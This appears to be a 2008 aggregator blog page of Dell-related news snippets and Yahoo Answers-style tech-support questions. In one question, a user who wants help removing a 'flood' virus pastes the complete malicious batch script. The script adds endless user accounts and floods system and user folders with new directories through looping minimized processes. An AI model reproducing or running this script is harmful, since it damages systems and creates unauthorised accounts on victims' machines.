Monday, December 15, 2008

Longtime radio host Spike O'Dell retiring - Chicago Tribune


Longtime radio host Spike O'Dell retiring
Chicago Tribune, United States - Dec 12, 2008
Spike O'Dell of WGN 720-AM says he's leaving to move to retire and move to Nashville, Tenn. O'Dell joined the station 21 years ago as the host of "The Spike ...
O'Dell says goodbye at Metropolis show to '300 of my closest friends' Chicago Daily Herald
WGN-AM's Spike O'Dell retires WGN
Spike O'Dell wraps up 22 years at WGN Chicago Breaking News - Tribune
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The Age of Touch Computing: A Complete Guide - PC Magazine


ABC News

Calling Jobs Back to US
ABC News - 16 hours ago
Call Center employees work at their cubicles in the Dell customer contact center in Oklahoma City,... Telephone inquiries for computer giant Dell are ...
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The Age of Touch Computing: A Complete Guide - PC Magazine


The Age of Touch Computing: A Complete Guide
PC Magazine - 2 hours ago
For example, Dell released the convertible Latitude XT notebook in early 2008, to a mixed response: It was often easier just to use a stylus. ...
Resistive screens far ahead from capacitive EE Times India
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Dear Dell: Customer service should be free - CNET News


Dear Dell: Customer service should be free
CNET News, CA - Dec 12, 2008
I never thought I'd be writing this, but Dell (yes, Dell), is charging customers a monthly fee to have access to its US-based customer service ...
Some Firms See Value in Familiar Voices Washington Post
US IT cos now looking for home tech support Economic Times
Dell Offering US-Based Support Services, for a Fee IT Business Edge
IT Examiner - Electric New Paper
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Open Question: what is the card slot behind my battery that says M2 x L3 on my dell inspiron 1526?

My laptop is: dell xps intel core 2 duo 2.5 ghz
4gb ram (recognize 3.5 gb)
320 gb hard drive

yeah its pretty good specs but i dunno why it lags....is it because of porn or something like that? my hard drive has around 90 gb left btw

what can i do?

thanks a lot >> full story

Open Question: How Much is my Computer Worth?

Manufacturer:
Dell Inc.
Processor:
Intel(R) Core(TM)2 CPU 6400 @ 2.13GHz (2 CPUs)
Memory:
1022MB RAM
Hard Drive:
246 GB
Video Card:
2 NVIDIA GeForce 7900 GS

It also has a Razer Deathadder Mouse
Gaming Keyboard
and 21 Inch lcd wide screen monitor >> full story

Open Question: how to hook a television to a laptop? ?

ugh okay I asked the guys at the computer store what I needed to record from my television to my computer my television is like...its called citizen...its got those 3 colorfull inputs for wires and then ive got my laptop which is a dell inspiron 1525...is there some kind of way that i can use a USB port to hook up my dell to the television? >> full story

Open Question: what is the card slot behind my battery that says M2 x L3 on my dell inspiron 1526?

I was wandering what that was because i have never noticed it before. could someone please inform me of what this is and what it is for? >> full story


Open Question: Is my Laptop broken AGAIN!? Help?

hi, first ive got windows xp and my computer is a dell inspiron 530s.

my problem is ive got a "flood" virus on my computer. pretty much what it does is it floods my computer with folders and new user accounts and slows my computer down heeps.

ive even got the exact code of the virus.

if you can i need a bit of script that can reverse what this virus has done.

heres the code:
@ECHO OFF
@ECHO A PHOENIX PRODUCTION
@ECHO MAIN BAT RUNNING
GOTO start

:start
@ECHO SET snowball2=1 >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
@ECHO :flood5 >> bat6.bat
@ECHO SET /a snowball2=%%snowball2%%+1 >> bat6.bat
@ECHO NET USER snowball2%%snowball2%% /add >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
START /MIN bat6.bat
GOTO bat5

:bat5
@ECHO CD %%ProgramFiles%%\ >> bat5.bat
@ECHO SET maggi=1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
@ECHO :flood4 >> bat5.bat
@ECHO MKDIR maggi%%maggi%% >> bat5.bat
@ECHO SET /a maggi=%%maggi%%+1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
START /MIN bat5.bat
GOTO bat4

:bat4
@ECHO CD %%SystemRoot%%\ >> bat4.bat
@ECHO SET marge=1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
@ECHO :flood3 >> bat4.bat
@ECHO MKDIR marge%%marge%% >> bat4.bat
@ECHO SET /a marge=%%marge%%+1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
START /MIN bat4.bat
GOTO bat3

:bat3
@ECHO CD %%UserProfile%%\Start Menu\Programs\ >> bat3.bat
@ECHO SET bart=1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
@ECHO :flood2 >> bat3.bat
@ECHO MKDIR bart%%bart%% >> bat3.bat
@ECHO SET /a bart=%%bart%%+1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
START /MIN bat3.bat
GOTO bat2

:bat2
@ECHO CD %%UserProfile%%\Desktop\ >> bat2.bat
@ECHO SET homer=1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
@ECHO :flood >> bat2.bat
@ECHO MKDIR homer%%homer%% >> bat2.bat
@ECHO SET /a homer=%%homer%%+1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
START /MIN bat2.bat
GOTO original

:original
CD %HomeDrive%\
SET lisa=1
GOTO flood1
:flood1
MKDIR lisa%lisa%
SET /a lisa=%lisa%+1
GOTO flood1


thanks in advance. oh one thing to add that the first answer reminded me about is that i have mccafee and it doesnt seem to find the virus when i search ^^ i meen scan ^^ >> full story

Open Question: Is my Laptop broken AGAIN!? Help?

Ok heres the story.
I have an Inspiron E1405, and i had it for over 2 - 3 years.
It has broken several times and now all thats left is,
I have to use a USB keyboard to type, most of the keys on the laptop don't work..
I also have to use a Charger whenever i have the laptop, if i take it out, it shuts off. Sigh.
Just like 3 hours ago, i was using the laptop, and i pulled out the charger by accident (i always do this , but this time it was an accident), and i thought, oh ok its nothing.
Then when i turn the laptop back on again, it takes me through the
Dell screen, and asks me then if

I want to use safe mode (Three different options for that, i tryed it, all don't work).

Or if i want to continue normally.
I tryed every single option listed there.
As soon as i hit enter , it goes to the Windows XP loading screen,
(The logo with the bar loading under it), Then after about 5 seconds,
it stops, Blue screen comes up for Half a second, then restarts..
What the hell is going on now? I can't pay anymore money to fix this laptop. I have important things saved on it, and i have no idea how i can get it off the laptop. There is like a little memory card on the side of the laptop thats inside, but i don't know if thats the harddrive or something that has all my data..
Any idea's on how i can fix this?
Sorry for the long text! >> full story


Open Question: I recently reinstalled Vista on my Dell laptop, and now the ethernet connection doesn't work. ?

I have a DELL E310 and I had to format it yesterday. Well I did a clean format after backing everything up on my external drive. Put the Win XP dick in and everything was fine. But all of a sudden when I booted up the screen would give me the blue screen of death and do the physcial memory dump thing, so I booted into safe mode, and did a virus check and malware check and everthing was fine. So I re-formated again(clean), and it was very, very slow, and it formatted alright, but it kept coming up with the message saying can not continue because it cannot find certain dll files! Did my HD crash, or is it my motherboard, or did my xp disk go bad? Any ides anyone?

Thanks >> full story

Open Question: Question about (unreleased) Windows 7?

Hello,

just was searching around on the internet and saw that windows 7 will be coming out in the near future and had a question about it. I see in all of these videos that it is touch screen, but will we need a new monitor for this touch screen effect? Or will we be able to use it for example, on a 2003 dell computer? Thanks for all the help. >> full story

Open Question: Latest video card driver for my dell inspiron 1520(GeForce 8600M GT)?

where can i get the latest driver? (not on dell website its outdated) >> full story

Open Question: I recently reinstalled Vista on my Dell laptop, and now the ethernet connection doesn't work. ?

I have an Inspiron 1420. I got the computer about 14 months ago. Today I decided to reinstall Vista because it was really sluggish and a lot of things I had tried didn't work.

The install went fine, but after I finished the ethernet connection no longer worked. I'm using the same cable, same socket, same everything as earlier today before I reinstalled Vista.

If I go to the network and sharing center and then click on "manage network connections" the only thing that shows up is my wireless network connection--which works perfectly.

Am I missing a driver? What's the problem? >> full story